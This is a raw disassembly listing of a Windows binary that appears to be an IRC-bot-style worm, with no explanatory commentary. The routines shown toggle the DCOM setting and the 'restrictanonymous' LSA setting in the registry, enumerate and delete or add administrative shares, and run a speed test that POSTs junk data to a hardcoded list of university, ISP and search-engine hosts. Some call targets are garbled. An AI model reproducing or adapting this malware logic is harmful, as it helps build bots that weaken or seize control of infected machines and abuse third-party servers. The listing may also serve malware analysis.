sub_41A1B1 proc near ; CODE XREF: sub_401ACD+24AAp
var_378 = byte ptr -378h
var_178 = byte ptr -178h
var_74 = dword ptr -74h
var_48 = dword ptr -48h
var_44 = word ptr -44h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = byte ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 378h
push ebx
push esi
push edi
call sub_419F6D
xor esi, esi
lea eax, [ebp+var_178]
push esi
push eax
push 104h
push esi
push offset dword_4346E0
push esi
call dword_4CBA90
test eax, eax
jz loc_41A2AB
push 1
lea eax, [ebp+var_1C]
pop ebx
mov edi, dword_427108
push esi
push eax
lea eax, [ebp+var_C]
mov [ebp+var_1C], 0Ch
push eax
lea eax, [ebp+var_10]
push eax
mov [ebp+var_14], ebx
mov [ebp+var_18], esi
call edi
test eax, eax
jz loc_41A2AB
lea eax, [ebp+var_1C]
push esi
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
call edi
test eax, eax
jz loc_41A2AB
mov edi, dword_427104
push 3
push esi
push esi
push offset dword_4DBC4C
call edi
push eax
push [ebp+var_8]
call edi
push eax
call near ptr 2750000h
nop
test eax, eax
jz short loc_41A2AB
push 10h
lea eax, [ebp+var_2C]
push esi
push eax
call sub_41BF70
push 44h
lea eax, [ebp+var_74]
pop edi
push edi
push esi
push eax
call sub_41BF70
mov eax, [ebp+var_4]
add esp, 18h
mov [ebp+var_3C], eax
mov eax, [ebp+var_C]
mov [ebp+var_38], eax
mov [ebp+var_34], eax
lea eax, [ebp+var_2C]
mov [ebp+var_74], edi
push eax
lea eax, [ebp+var_74]
push eax
push esi
push esi
push esi
push ebx
push esi
mov ebx, offset byte_43DB88
push esi
lea eax, [ebp+var_178]
push ebx
push eax
mov [ebp+var_48], 101h
mov [ebp+var_44], si
nop
call near ptr 26A02FDh
test eax, eax
jnz short loc_41A2B3
loc_41A2AB: ; CODE XREF: sub_41A1B1+2Fj
; sub_41A1B1+5Cj ...
or eax, 0FFFFFFFFh
jmp loc_41A361
; ---------------------------------------------------------------------------
loc_41A2B3: ; CODE XREF: sub_41A1B1+F8j
push [ebp+var_4]
mov edi, dword_427070
call edi
mov eax, [ebp+var_10]
push [ebp+var_28]
mov dword_4DBC48, eax
mov eax, [ebp+var_8]
mov dword_4DBC50, eax
mov eax, [ebp+var_2C]
mov dword_4DBC44, eax
call edi
mov eax, [ebp+arg_0]
cmp [ebp+arg_4], esi
mov dword_4DBC88, eax
jz short loc_41A2ED
push [ebp+arg_4]
jmp short loc_41A2EE
; ---------------------------------------------------------------------------
loc_41A2ED: ; CODE XREF: sub_41A1B1+135j
push ebx
loc_41A2EE: ; CODE XREF: sub_41A1B1+13Aj
push offset dword_4DBC54
call sub_41C266
pop ecx
pop ecx
push esi
push 0Ah
push offset unk_43A524
call sub_40B3BA
mov edi, eax
mov ecx, [ebp+var_24]
imul edi, 234h
add esp, 0Ch
mov dword_43E918[edi], ecx
lea ecx, [ebp+var_30]
push ecx
push esi
push eax
push offset sub_41A05C
push esi
push esi
call near ptr 26C051Eh
nop
cmp eax, esi
mov dword_43E924[edi], eax
jnz short loc_41A35F
nop
call near ptr 26C0CC8h
push eax
lea eax, [ebp+var_378]
push offset unk_43A4F0
push eax
call sub_41C266
lea eax, [ebp+var_378]
push eax
call sub_415D38
add esp, 10h
loc_41A35F: ; CODE XREF: sub_41A1B1+185j
xor eax, eax
loc_41A361: ; CODE XREF: sub_41A1B1+FDj
pop edi
pop esi
pop ebx
leave
retn
sub_41A1B1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A366 proc near ; DATA XREF: sub_401ACD+2DC8o
var_98 = dword ptr -98h
var_94 = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 98h
mov eax, [ebp+arg_0]
push esi
push edi
push 26h
pop ecx
mov esi, eax
lea edi, [ebp+var_98]
rep movsd
pop edi
pop esi
push [ebp+var_8]
cmp [ebp+var_10], 0
mov dword ptr [eax+94h], 1
lea eax, [ebp+var_94]
push [ebp+var_C]
push eax
push [ebp+var_98]
jz short loc_41A3AD
call sub_41A3C6
jmp short loc_41A3B2
; ---------------------------------------------------------------------------
loc_41A3AD: ; CODE XREF: sub_41A366+3Ej
call sub_41A6EA
loc_41A3B2: ; CODE XREF: sub_41A366+45j
add esp, 10h
push [ebp+var_14]
call sub_40B6D6
pop ecx
push 0
nop
call near ptr 2720000h
sub_41A366 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A3C6 proc near ; CODE XREF: sub_41A366+40p
var_214 = byte ptr -214h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 214h
push esi
push edi
xor edi, edi
cmp dword_4CBAA4, edi
jnz loc_41A4F8
lea eax, [ebp+var_4]
mov esi, 80000002h
push eax
push 2001Fh
push edi
push offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
push esi
call dword_4CBA44
test eax, eax
jnz short loc_41A451
mov ax, word_439298
mov word ptr [ebp+var_8+2], ax
lea eax, [ebp+var_8+2]
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_8+2]
push eax
push 1
push edi
push offset aEnabledcom ; "EnableDCOM"
push [ebp+var_4]
call dword_4CB9F8
test eax, eax
jz short loc_41A433
push offset dword_43A7C0
jmp short loc_41A438
; ---------------------------------------------------------------------------
loc_41A433: ; CODE XREF: sub_41A3C6+64j
push offset dword_43A7A0
loc_41A438: ; CODE XREF: sub_41A3C6+6Bj
lea eax, [ebp+var_214]
push eax
call sub_41C266
pop ecx
pop ecx
push [ebp+var_4]
call dword_4CB9B0
jmp short loc_41A464
; ---------------------------------------------------------------------------
loc_41A451: ; CODE XREF: sub_41A3C6+36j
lea eax, [ebp+var_214]
push offset dword_43A770
push eax
call sub_41C266
pop ecx
pop ecx
loc_41A464: ; CODE XREF: sub_41A3C6+89j
cmp [ebp+arg_C], edi
jnz short loc_41A483
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 14h
loc_41A483: ; CODE XREF: sub_41A3C6+A1j
lea eax, [ebp+var_214]
push eax
call sub_415D38
pop ecx
lea eax, [ebp+var_4]
push eax
push 0F003Fh
push edi
push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
push esi
call dword_4CBA44
test eax, eax
jnz short loc_41A4F1
lea eax, [ebp+var_8]
push 4
push eax
push 4
push edi
push offset aRestrictanonym ; "restrictanonymous"
push [ebp+var_4]
mov [ebp+var_8], 1
call dword_4CB9F8
test eax, eax
jz short loc_41A4D3
push offset dword_43A720
jmp short loc_41A4D8
; ---------------------------------------------------------------------------
loc_41A4D3: ; CODE XREF: sub_41A3C6+104j
push offset dword_43A6EC
loc_41A4D8: ; CODE XREF: sub_41A3C6+10Bj
lea eax, [ebp+var_214]
push eax
call sub_41C266
pop ecx
pop ecx
push [ebp+var_4]
call dword_4CB9B0
jmp short loc_41A50B
; ---------------------------------------------------------------------------
loc_41A4F1: ; CODE XREF: sub_41A3C6+E2j
push offset dword_43A6B0
jmp short loc_41A4FD
; ---------------------------------------------------------------------------
loc_41A4F8: ; CODE XREF: sub_41A3C6+13j
push offset dword_43A680
loc_41A4FD: ; CODE XREF: sub_41A3C6+130j
lea eax, [ebp+var_214]
push eax
call sub_41C266
pop ecx
pop ecx
loc_41A50B: ; CODE XREF: sub_41A3C6+129j
cmp [ebp+arg_C], edi
jnz short loc_41A52A
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 14h
loc_41A52A: ; CODE XREF: sub_41A3C6+148j
lea eax, [ebp+var_214]
push eax
call sub_415D38
cmp dword_4CBACC, edi
pop ecx
jnz loc_41A6A5
push ebx
mov [ebp+var_4], edi
mov [ebp+var_14], edi
mov [ebp+var_C], edi
loc_41A54D: ; CODE XREF: sub_41A3C6+2C3j
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_8]
push 0FFFFFFFFh
push eax
push 1F6h
push edi
call dword_4CB918
cmp eax, edi
mov [ebp+var_10], eax
jz short loc_41A5EA
cmp eax, 0EAh
jz short loc_41A5EA
mov esi, offset off_43A548
loc_41A57E: ; CODE XREF: sub_41A3C6+21Dj
push dword ptr [esi]
push edi
call sub_4191B8
pop ecx
pop ecx
push dword ptr [esi]
test eax, eax
jnz short loc_41A595
push offset dword_43A65C
jmp short loc_41A59A
; ---------------------------------------------------------------------------
loc_41A595: ; CODE XREF: sub_41A3C6+1C6j
push offset dword_43A630
loc_41A59A: ; CODE XREF: sub_41A3C6+1CDj
lea eax, [ebp+var_214]
push 200h
push eax
call sub_41C360
add esp, 10h
cmp [ebp+arg_C], edi
jnz short loc_41A5CD
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 14h
loc_41A5CD: ; CODE XREF: sub_41A3C6+1EBj
lea eax, [ebp+var_214]
push eax
call sub_415D38
add esi, 8
pop ecx
cmp esi, offset off_43A568
jb short loc_41A57E
jmp loc_41A682
; ---------------------------------------------------------------------------
loc_41A5EA: ; CODE XREF: sub_41A3C6+1AAj
; sub_41A3C6+1B1j
mov esi, [ebp+var_8]
push 1
pop ebx
cmp [ebp+var_4], ebx
jb loc_41A679
loc_41A5F9: ; CODE XREF: sub_41A3C6+2AFj
mov edi, [esi]
push edi
call sub_41E0B7
cmp word ptr [edi+eax*2-2], 24h
pop ecx
jnz short loc_41A66E
push edi
call sub_4190A5
push eax
push 0
call sub_4191B8
add esp, 0Ch
push dword ptr [esi]
test eax, eax
jnz short loc_41A628
push offset dword_43A60C
jmp short loc_41A62D
; ---------------------------------------------------------------------------
loc_41A628: ; CODE XREF: sub_41A3C6+259j
push offset dword_43A5E0
loc_41A62D: ; CODE XREF: sub_41A3C6+260j
lea eax, [ebp+var_214]
push 200h
push eax
call sub_41C360
add esp, 10h
cmp [ebp+arg_C], 0
jnz short loc_41A661
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 14h
loc_41A661: ; CODE XREF: sub_41A3C6+27Fj
lea eax, [ebp+var_214]
push eax
call sub_415D38
pop ecx
loc_41A66E: ; CODE XREF: sub_41A3C6+242j
add esi, 28h
inc ebx
cmp ebx, [ebp+var_4]
jbe short loc_41A5F9
xor edi, edi
loc_41A679: ; CODE XREF: sub_41A3C6+22Dj
push [ebp+var_8]
call dword_4CBA64
loc_41A682: ; CODE XREF: sub_41A3C6+21Fj
cmp [ebp+var_10], 0EAh
jz loc_41A54D
lea eax, [ebp+var_214]
push offset dword_43A5B8
push eax
call sub_41C266
pop ecx
pop ecx
pop ebx
jmp short loc_41A6B8
; ---------------------------------------------------------------------------
loc_41A6A5: ; CODE XREF: sub_41A3C6+177j
lea eax, [ebp+var_214]
push offset dword_43A588
push eax
call sub_41C266
pop ecx
pop ecx
loc_41A6B8: ; CODE XREF: sub_41A3C6+2DDj
cmp [ebp+arg_C], edi
jnz short loc_41A6D6
push edi
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 14h
loc_41A6D6: ; CODE XREF: sub_41A3C6+2F5j
lea eax, [ebp+var_214]
push eax
call sub_415D38
pop ecx
push 1
pop eax
pop edi
pop esi
leave
retn
sub_41A3C6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A6EA proc near ; CODE XREF: sub_41A366:loc_41A3ADp
var_220 = byte ptr -220h
var_20 = byte ptr -20h
var_14 = byte ptr -14h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 220h
push ebx
xor ebx, ebx
cmp dword_4CBAA4, ebx
push esi
jnz loc_41A818
lea eax, [ebp+var_4]
mov esi, 80000002h
push eax
push 2001Fh
push ebx
push offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
push esi
call dword_4CBA44
test eax, eax
jnz short loc_41A775
mov ax, word_4392DC
mov word ptr [ebp+var_8+2], ax
lea eax, [ebp+var_8+2]
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_8+2]
push eax
push 1
push ebx
push offset aEnabledcom ; "EnableDCOM"
push [ebp+var_4]
call dword_4CB9F8
test eax, eax
jz short loc_41A757
push offset dword_43A938
jmp short loc_41A75C
; ---------------------------------------------------------------------------
loc_41A757: ; CODE XREF: sub_41A6EA+64j
push offset dword_43A91C
loc_41A75C: ; CODE XREF: sub_41A6EA+6Bj
lea eax, [ebp+var_220]
push eax
call sub_41C266
pop ecx
pop ecx
push [ebp+var_4]
call dword_4CB9B0
jmp short loc_41A788
; ---------------------------------------------------------------------------
loc_41A775: ; CODE XREF: sub_41A6EA+36j
lea eax, [ebp+var_220]
push offset dword_43A770
push eax
call sub_41C266
pop ecx
pop ecx
loc_41A788: ; CODE XREF: sub_41A6EA+89j
cmp [ebp+arg_C], ebx
jnz short loc_41A7A7
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 14h
loc_41A7A7: ; CODE XREF: sub_41A6EA+A1j
lea eax, [ebp+var_220]
push eax
call sub_415D38
pop ecx
lea eax, [ebp+var_4]
push eax
push 0F003Fh
push ebx
push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
push esi
call dword_4CBA44
test eax, eax
jnz short loc_41A811
lea eax, [ebp+var_8]
push 4
push eax
push 4
push ebx
push offset aRestrictanonym ; "restrictanonymous"
push [ebp+var_4]
mov [ebp+var_8], ebx
call dword_4CB9F8
test eax, eax
jz short loc_41A7F3
push offset dword_43A8DC
jmp short loc_41A7F8
; ---------------------------------------------------------------------------
loc_41A7F3: ; CODE XREF: sub_41A6EA+100j
push offset dword_43A8A4
loc_41A7F8: ; CODE XREF: sub_41A6EA+107j
lea eax, [ebp+var_220]
push eax
call sub_41C266
pop ecx
pop ecx
push [ebp+var_4]
call dword_4CB9B0
jmp short loc_41A82B
; ---------------------------------------------------------------------------
loc_41A811: ; CODE XREF: sub_41A6EA+E2j
push offset dword_43A868
jmp short loc_41A81D
; ---------------------------------------------------------------------------
loc_41A818: ; CODE XREF: sub_41A6EA+13j
push offset dword_43A680
loc_41A81D: ; CODE XREF: sub_41A6EA+12Cj
lea eax, [ebp+var_220]
push eax
call sub_41C266
pop ecx
pop ecx
loc_41A82B: ; CODE XREF: sub_41A6EA+125j
cmp [ebp+arg_C], ebx
jnz short loc_41A84A
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 14h
loc_41A84A: ; CODE XREF: sub_41A6EA+144j
lea eax, [ebp+var_220]
push eax
call sub_415D38
cmp dword_4CBACC, ebx
pop ecx
jnz loc_41A9BF
push edi
mov esi, offset off_43A548
mov edi, 200h
loc_41A86E: ; CODE XREF: sub_41A6EA+1E9j
push dword ptr [esi+4]
push dword ptr [esi]
push ebx
call sub_41910C
add esp, 0Ch
push dword ptr [esi]
test eax, eax
jnz short loc_41A889
push offset dword_43A848
jmp short loc_41A88E
; ---------------------------------------------------------------------------
loc_41A889: ; CODE XREF: sub_41A6EA+196j
push offset dword_43A820
loc_41A88E: ; CODE XREF: sub_41A6EA+19Dj
lea eax, [ebp+var_220]
push edi
push eax
call sub_41C360
add esp, 10h
cmp [ebp+arg_C], ebx
jnz short loc_41A8BD
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 14h
loc_41A8BD: ; CODE XREF: sub_41A6EA+1B7j
lea eax, [ebp+var_220]
push eax
call sub_415D38
add esi, 8
pop ecx
cmp esi, offset off_43A558
jb short loc_41A86E
call near ptr 2880000h
nop
test eax, eax
mov [ebp+var_4], eax
mov bl, 41h
jz loc_41A9A7
loc_41A8E8: ; CODE XREF: sub_41A6EA+2B7j
mov eax, [ebp+var_4]
and eax, 1
cmp al, 1
jnz loc_41A99C
cmp bl, 41h
jz loc_41A99C
movsx esi, bl
push esi
push offset aC_2 ; "%c$"
lea eax, [ebp+var_14]
push 0Ah
push eax
call sub_41C360
add esp, 10h
lea eax, [ebp+var_20]
push esi
push offset aC_1 ; "%c:\\"
push 0Ah
push eax
call sub_41C360
add esp, 10h
lea eax, [ebp+var_20]
push eax
call dword_4CBA34
cmp eax, 3
jnz short loc_41A99C
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_14]
push eax
push 0
call sub_41910C
add esp, 0Ch
test eax, eax
lea eax, [ebp+var_14]
push eax
jnz short loc_41A95A
push offset dword_43A848
jmp short loc_41A95F
; ---------------------------------------------------------------------------
loc_41A95A: ; CODE XREF: sub_41A6EA+267j
push offset dword_43A820
loc_41A95F: ; CODE XREF: sub_41A6EA+26Ej
lea eax, [ebp+var_220]
push edi
push eax
call sub_41C360
add esp, 10h
cmp [ebp+arg_C], 0
jnz short loc_41A98F
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 14h
loc_41A98F: ; CODE XREF: sub_41A6EA+289j
lea eax, [ebp+var_220]
push eax
call sub_415D38
pop ecx
loc_41A99C: ; CODE XREF: sub_41A6EA+206j
; sub_41A6EA+20Fj ...
inc bl
shr [ebp+var_4], 1
jnz loc_41A8E8
loc_41A9A7: ; CODE XREF: sub_41A6EA+1F8j
lea eax, [ebp+var_220]
push offset dword_43A7F0
push eax
call sub_41C266
pop ecx
xor ebx, ebx
pop ecx
pop edi
jmp short loc_41A9D2
; ---------------------------------------------------------------------------
loc_41A9BF: ; CODE XREF: sub_41A6EA+173j
lea eax, [ebp+var_220]
push offset dword_43A588
push eax
call sub_41C266
pop ecx
pop ecx
loc_41A9D2: ; CODE XREF: sub_41A6EA+2D3j
cmp [ebp+arg_C], ebx
jnz short loc_41A9F0
push ebx
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 14h
loc_41A9F0: ; CODE XREF: sub_41A6EA+2EBj
lea eax, [ebp+var_220]
push eax
call sub_415D38
pop ecx
push 1
pop eax
pop esi
pop ebx
leave
retn
sub_41A6EA endp
; =============== S U B R O U T I N E =======================================
sub_41AA04 proc near ; CODE XREF: sub_41ABFB+CBp
; sub_41ABFB+DDp ...
arg_0 = dword ptr 4
nop
call near ptr 26D0CBDh
push eax
call sub_41C2B8
pop ecx
call sub_41C2C2
cdq
idiv [esp+arg_0]
mov eax, edx
retn
sub_41AA04 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41AA1E proc near ; CODE XREF: sub_41ABFB+D4p
; sub_41ABFB+E6p ...
var_38 = dword ptr -38h
var_28 = word ptr -28h
var_26 = word ptr -26h
var_24 = dword ptr -24h
var_18 = qword ptr -18h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 28h
push ebx
push esi
push edi
push [ebp+arg_0]
call sub_41B9C0
mov esi, 0FFh
pop ecx
cmp eax, esi
ja loc_41ABF7
push 10h
lea eax, [ebp+var_28]
push 0
push eax
call sub_41BF70
push [ebp+arg_0]
mov [ebp+var_28], 2
call sub_40A8F0
add esp, 10h
mov [ebp+var_24], eax
test eax, eax
jz loc_41ABF7
push 50h
call dword_4CB9D4
push 6
push 1
push 2
mov [ebp+var_26], ax
call dword_4CBA54
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jz loc_41ABF7
lea ecx, [ebp+var_28]
push 10h
push ecx
push eax
call dword_4CB97C
cmp eax, 0FFFFFFFFh
jz loc_41ABF7
push 32003h
call sub_41D9A5
mov edi, dword_4270B0
mov ebx, eax
pop ecx
mov [ebp+var_8], ebx
call edi
push eax
call sub_41C2B8
call sub_41C2C2
cdq
idiv esi
mov [esp+38h+var_38], 32001h
push 0
push ebx
movsx esi, dl
call sub_41BF70
push 32000h
push esi
push ebx
call sub_41BF70
push ebx
call sub_41B9C0
push 323EAh
mov ebx, eax
call sub_41D9A5
add esp, 20h
mov esi, eax
push ebx
push [ebp+arg_0]
push offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"...
push esi
call sub_41C266
push [ebp+var_8]
push esi
call sub_41C8A0
push offset asc_4349EC ; "\r\n"
push esi
call sub_41C8A0
push esi
call sub_41B9C0
mov ebx, eax
add esp, 24h
mov [ebp+var_10], ebx
call edi
mov dword ptr [ebp+var_18+4], eax
xor eax, eax
test ebx, ebx
mov [ebp+arg_0], eax
jbe short loc_41AB77
mov [ebp+var_C], ebx
mov ebx, 400h
jmp short loc_41AB47
; ---------------------------------------------------------------------------
loc_41AB44: ; CODE XREF: sub_41AA1E+157j
mov eax, [ebp+arg_0]
loc_41AB47: ; CODE XREF: sub_41AA1E+124j
mov ecx, [ebp+var_10]
push 0
sub ecx, eax
cmp ecx, ebx
jnb short loc_41AB57
push [ebp+var_C]
jmp short loc_41AB58
; ---------------------------------------------------------------------------
loc_41AB57: ; CODE XREF: sub_41AA1E+132j
push ebx
loc_41AB58: ; CODE XREF: sub_41AA1E+137j
add eax, esi
push eax
push [ebp+var_4]
call dword_4CBA24
cmp eax, 0FFFFFFFFh
jz short loc_41ABDE
add [ebp+arg_0], ebx
sub [ebp+var_C], ebx
mov eax, [ebp+arg_0]
cmp eax, [ebp+var_10]
jb short loc_41AB44
loc_41AB77: ; CODE XREF: sub_41AA1E+11Aj
call edi
sub eax, dword ptr [ebp+var_18+4]
and dword ptr [ebp+var_18+4], 0
mov dword ptr [ebp+var_18], eax
fild [ebp+var_18]
fmul flt_4276F4
fst [ebp+arg_0]
fcomp flt_4276F0
fnstsw ax
sahf
jnz short loc_41AB9F
fld1
fstp [ebp+arg_0]
loc_41AB9F: ; CODE XREF: sub_41AA1E+17Aj
push [ebp+var_4]
call dword_4CBA6C
push [ebp+var_8]
call sub_41BA91
push esi
call sub_41BA91
mov eax, [ebp+var_10]
and dword ptr [ebp+var_18+4], 0
mov dword ptr [ebp+var_18], eax
pop ecx
fild [ebp+var_18]
pop ecx
fdiv [ebp+arg_0]
fmul flt_4276EC
fmul flt_4276E8
call sub_41D174
loc_41ABD9: ; CODE XREF: sub_41AA1E+1DBj
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_41ABDE: ; CODE XREF: sub_41AA1E+149j
push [ebp+var_4]
call dword_4CBA6C
push [ebp+var_8]
call sub_41BA91
push esi
call sub_41BA91
pop ecx
pop ecx
loc_41ABF7: ; CODE XREF: sub_41AA1E+19j
; sub_41AA1E+42j ...
xor eax, eax
jmp short loc_41ABD9
sub_41AA1E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41ABFB proc near ; CODE XREF: sub_401ACD+2E1Ep
var_26C = byte ptr -26Ch
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = dword ptr -5Ch
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 26Ch
push ebx
push esi
push edi
push 8
mov [ebp+var_4], 3
mov [ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net"
mov [ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl"
mov [ebp+var_34], offset aVerio_fr ; "verio.fr"
mov [ebp+var_30], offset aWww_1und1_de ; "www.1und1.de"
mov [ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch"
mov [ebp+var_28], offset aWww_belwue_de ; "www.belwue.de"
mov [ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com"
mov [ebp+var_20], offset aWww_google_it ; "www.google.it"
mov [ebp+var_6C], offset aWww_xo_net ; "www.xo.net"
mov [ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu"
mov [ebp+var_64], offset aWww_verio_com ; "www.verio.com"
mov [ebp+var_60], offset aWww_nocster_co ; "www.nocster.com"
mov [ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu"
mov [ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com"
mov [ebp+var_54], offset aWww_burst_net ; "www.burst.net"
mov [ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu"
mov [ebp+var_4C], offset aWww_level3_com ; "www.level3.com"
mov [ebp+var_48], offset aWww_above_net ; "www.above.net"
mov [ebp+var_44], offset aWww_easynews_c ; "www.easynews.com"
mov [ebp+var_40], offset aWww_google_com ; "www.google.com"
mov [ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw"
mov [ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp"
mov [ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com"
mov [ebp+var_10], offset aWww_nifty_com ; "www.nifty.com"
mov [ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp"
mov [ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp"
call sub_41AA04
push [ebp+eax*4+var_3C]
call sub_41AA1E
push 8
mov esi, eax
call sub_41AA04
push [ebp+eax*4+var_3C]
call sub_41AA1E
add esp, 10h
test esi, esi
jz short loc_41ACFC
test eax, eax
jz short loc_41ACF8
lea ebx, [eax+esi]
shr ebx, 1
jmp short loc_41ACFE
; ---------------------------------------------------------------------------
loc_41ACF8: ; CODE XREF: sub_41ABFB+F4j
mov ebx, esi
jmp short loc_41ACFE
; ---------------------------------------------------------------------------
loc_41ACFC: ; CODE XREF: sub_41ABFB+F0j
mov ebx, eax
loc_41ACFE: ; CODE XREF: sub_41ABFB+FBj
; sub_41ABFB+FFj
push 0Ch
call sub_41AA04
push [ebp+eax*4+var_6C]
call sub_41AA1E
push 0Ch
mov edi, eax
call sub_41AA04
push [ebp+eax*4+var_6C]
call sub_41AA1E
add esp, 10h
test edi, edi
jz short loc_41AD36
test eax, eax
jz short loc_41AD32
lea esi, [eax+edi]
shr esi, 1
jmp short loc_41AD38
; ---------------------------------------------------------------------------
loc_41AD32: ; CODE XREF: sub_41ABFB+12Ej
mov esi, edi
jmp short loc_41AD38
; ---------------------------------------------------------------------------
loc_41AD36: ; CODE XREF: sub_41ABFB+12Aj
mov esi, eax
loc_41AD38: ; CODE XREF: sub_41ABFB+135j
; sub_41ABFB+139j
push 6
call sub_41AA04
push [ebp+eax*4+var_1C]
call sub_41AA1E
push 6
mov edi, eax
call sub_41AA04
push [ebp+eax*4+var_1C]
call sub_41AA1E
add esp, 10h
test edi, edi
jz short loc_41AD70
test eax, eax
jz short loc_41AD6C
lea ecx, [eax+edi]
shr ecx, 1
jmp short loc_41AD72
; ---------------------------------------------------------------------------
loc_41AD6C: ; CODE XREF: sub_41ABFB+168j
mov ecx, edi
jmp short loc_41AD72
; ---------------------------------------------------------------------------
loc_41AD70: ; CODE XREF: sub_41ABFB+164j
mov ecx, eax
loc_41AD72: ; CODE XREF: sub_41ABFB+16Fj
; sub_41ABFB+173j
xor eax, eax
test ebx, ebx
jz short loc_41AD7F
mov edi, [ebp+var_4]
mov eax, ebx
jmp short loc_41AD82
; ---------------------------------------------------------------------------
loc_41AD7F: ; CODE XREF: sub_41ABFB+17Bj
push 2
pop edi
loc_41AD82: ; CODE XREF: sub_41ABFB+182j
test esi, esi
jz short loc_41AD8A
add eax, esi
jmp short loc_41AD8B
; ---------------------------------------------------------------------------
loc_41AD8A: ; CODE XREF: sub_41ABFB+189j
dec edi
loc_41AD8B: ; CODE XREF: sub_41ABFB+18Dj
test ecx, ecx
jz short loc_41AD93
add eax, ecx
jmp short loc_41AD94
; ---------------------------------------------------------------------------
loc_41AD93: ; CODE XREF: sub_41ABFB+192j
dec edi
loc_41AD94: ; CODE XREF: sub_41ABFB+196j
xor edx, edx
div edi
push eax
push ecx
push esi
push ebx
